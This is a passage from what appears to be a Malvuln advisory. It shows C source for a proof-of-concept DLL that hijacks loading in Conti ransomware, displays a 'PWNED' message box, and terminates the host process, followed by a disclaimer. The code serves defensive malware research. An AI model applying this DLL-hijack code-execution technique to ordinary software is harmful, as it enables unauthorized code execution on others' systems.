LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>